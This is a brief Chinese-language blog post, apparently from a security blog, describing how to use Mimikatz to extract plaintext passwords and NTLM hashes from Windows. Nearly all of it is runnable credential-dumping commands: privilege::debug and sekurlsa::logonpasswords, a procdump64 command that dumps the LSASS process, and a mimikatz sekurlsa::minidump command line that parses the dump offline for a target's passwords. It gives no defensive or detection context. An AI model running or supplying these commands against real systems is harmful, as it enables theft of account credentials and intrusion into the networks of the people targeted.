Mimikatz是一款能够从Windows认证(LSASS)的进程中获取内存，并且获取明文密码和NTLM哈希值的工具。

读取密码

1.以管理员身份运行
命令如下：

1
2

privilege::debug
sekurlsa::logonpasswords

2.获取到 lsass.dmp 文件，然后在自己的环境下运行mimikatz这样就获取到目标密码。
命令如下：

1

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

获取到 lsass.dmp文件后可以用

1

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

来获取明文密码，最后的exit是运行完成之后停止，不然会一直运行下去

FROM :blog.cfyqy.com | Author:cfyqy